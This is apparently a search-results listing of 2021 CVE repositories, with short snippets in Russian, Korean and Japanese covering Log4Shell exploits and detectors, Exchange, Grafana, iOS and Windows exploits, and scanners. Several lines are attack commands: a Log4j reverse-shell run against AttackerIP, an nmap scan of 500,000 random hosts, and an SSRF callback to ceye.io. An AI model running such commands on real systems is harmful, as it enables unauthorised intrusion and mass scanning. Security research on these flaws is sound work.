109347 matches found
CVE-2021-44228
Tai-e для CVE-2021-44228 Это пример проекта, который использует Tai-e для идентификации уязвимости Log4Shell также известной как CVE-2021-44228 и её путей срабатывания Связанное видео на китайском: https://www.bilibili.com/video/BV1dV411F781 Начало работы Клонируйте этот репозиторий через Git:...
CVE-2021-31728
CVE-2021-31727 및 CVE-2021-31728 CVE-2021-31727 공개 참조 제한 없는 디스크 읽기/쓰기 기능을 노출합니다. CVE-2021-31728 공개 참조 임의의 ring 0 코드 실행을 직접 노출합니다. 크레딧 Lima X 님이 SystemBigPoolInformation 아이디어를 도와주셨습니다...
xstream-CVE-2021-29505
xstream-CVE-2021-29505...
external_wpa_supplicant_8_AOSP10_r33CVE-2021-0326
wpasupplicant и hostapd Copyright c 2002-2019, Jouni Malinen [email protected] и участники Все права защищены. Эти программы лицензированы под лицензией BSD той, с удалённым пунктом о рекламе. Если вы отправляете изменения в проект, пожалуйста, обратитесь к файлу CONTRIBUTIONS для получения...
cve-2021-44228
CVE-2021-44228 Zeek 패키지로서 Log4J CVE-2021-44228 시도에 대한 알림을 발생시키고, HTTP 연결에 태그를 지정하며, 선택적으로 로그를 생성합니다. HTTP 헤더에 포함된 페이로드를 탐지합니다: 자세한 내용은 Log4Shell 탐지 간소화 참조. Zeek 시그니처를 사용하여 LDAP 검색 중 Java 파일이 반환될 때 알림을 생성합니다. 자세한 내용은 Zeek 및 LDAP 트래픽을 통한 Log4j 탐지 참조. 페이로드 및 1단계 탐지와 관계없이 2단계 Java 클래스가 다운로드될 때를 탐지합니다...
CVE-2021-24145
CVE-2021-24145 WordPress ファイルアップロード脆弱性、Modern Events Calendar Lite WordPress プラグイン 5.16.5 未満 https://nvd.nist.gov/vuln/detail/CVE-2021-24145 インストールと実行手順 1. WordPress のインストール インストールを進める際、docker-compose.yml ファイルでポートフォワーディングを行ってください。 root@kitploit: $ docker-compose up 2. WordPress 初期設定 & プラグインインストール...
CVE-2021-34473-NMAP-SCANNER
CVE-2021-34473-NMAP-SCANNER CVE-2021-34473 Microsoft Exchange Windows 취약점을 위한 대규모 스캐너 명령어 root@kitploit: nmap -iR 500000 -n -p 443 --script cve202134473.nse scan500k.txt nmap website.com -n -p 443 --script cve202134473.nse 예시 root@kitploit: Starting Nmap 7.92 https://nmap.org at 2022-11-16 08:17...
Grafana-8.3-Directory-Traversal
CVE-2021-43798 Python 스크립트 설명: Grafana 8.3.0 디렉토리 트래버설 EDB-ID 50581이 작동하지 않으면 이것을 시도하세요! 원본 기사: https://ethicalhacking.uk/cve-2021-43798-dissecting-the-grafana-path-traversal-vulnerability/gsc.tab=0 OffSec Proving Ground Fanatastic의 한 박스에서 Grafana 8.3.0을 발견하고 exploitdb id 50581을 꽤 빨리 찾았지만 어떤 이유로...
log4j2-exploit
Log4Shell CVE-2021-44228 개념 증명 요구 사항 Java JDK/JRE 8 이상 버전 curl exploitable 사용자 이름과 비밀번호가 있는 로그인 페이지를 제공하는 간단한 Spring Boot 애플리케이션입니다. POST로 /에 전송되면 사용자 이름을 기록합니다. 취약한 애플리케이션이 사용자 제공 입력을 기록할 필요는 없습니다. 취약한 log4j2 버전을 사용하는 액세스 로깅을 활성화하는 것만으로 충분합니다. 실행 방법: root@kitploit: cd exploitable ../mvnw -q...
log4shell-test-exploit
Тестовый эксплойт CVE-2021-44228 log4shell Подготовка root@kitploit: Install Nodejs HTTP server npm -g i http-server Build victim app cd victim-app mvn install Compile Trojan cd test-trojan javac Trojan.java Build marshalsec required Java 8 git clone [email protected]:mbechler/marshalsec.git...
log4j-urlscanner
log4j-detect Простой скрипт на Python 3 для обнаружения уязвимости библиотеки Java "Log4j" CVE-2021-44228 для списка URL с многопоточностью Скрипт "log4j-detect.py", разработанный на Python 3, предназначен для определения уязвимости списка URL-адресов к CVE-2021-44228. Для этого он отправляет...
log4j-CVE-2021-44228-Public-IoCs
log4j log4shell CVE-2021-44228 Публичный список IoC Публичные IoC, связанные с log4j CVE-2021-44228 log4shell, основанные на Twitter и других социальных сетях принимаются pull request'ы, дубликаты удаляю автоматически IP-адреса...
multicast_bytecopy
multicastbytecopy このコードはセキュリティ研究者向けに公開されています。自分が何をしているのか理解していない限り、このコードをいかなる目的にも使用しないでください。 multicastbytecopy は、@jaakerblom による iOS 15.0 - 15.1.1 用のカーネル r/w エクスプロイトであり、multipathkfree の精神的後継です。 このエクスプロイトは、以前の iOS バージョンでカーネル r/w を獲得するように適合させることができます。この実装は iOS 15.0 - 15.1.1 用です。 悪用されるバグは...
CVE-2021-26855_SSRF
CVE-2021-26855SSRF CVE-2021-26855 Exchange SSRF POC ceye.io 토큰 및 식별자 변경: token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX' dnsurl = randomstr + '.XXXXXX.ceye.io' python CVE-2021-26855SSRF.py https://a.com...
WindowsMDM-LPE-0Day
WindowsMDM-LPE-0Day Работает лучше всего на Windows 11 CVE-2021-24084 Локальное повышение привилегий в Windows официально остаётся незапатченным с 2020 года. Следовательно, это всё ещё zero-day Скриншоты: Youtube : https://youtu.be/lhT9m68GgL4 Затронутые версии Windows Windows 10 1803 Windows 10...
CVE-2021-34527-Scanner-Based-On-cube0x0-POC
Это сканер для уязвимого сервиса Windows-Print-Spooler Основано на PoC CVE-2021-34527, изначально созданном cube0x0...
GitLab-cve-2021-22205-nse
DIVD.nl의 Frank breedijk가 작성한 CVE-2021-22205용 GitLab 인스턴스 지문 식별 스크립트...
Log4j2-CVE-2021-44228-revshell
Log4j2-CVE-2021-44228-revshell 사용법 root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerI...
test-44228
test-44228 Простой пример для CVE-2021-44228 Реализует два CLI на Java: один с использованием log4j v1.x, другой с использованием log4j 2.x для демонстрации уязвимости Log4Shell. См. также: https://www.lunasec.io/docs/blog/log4j-zero-day/...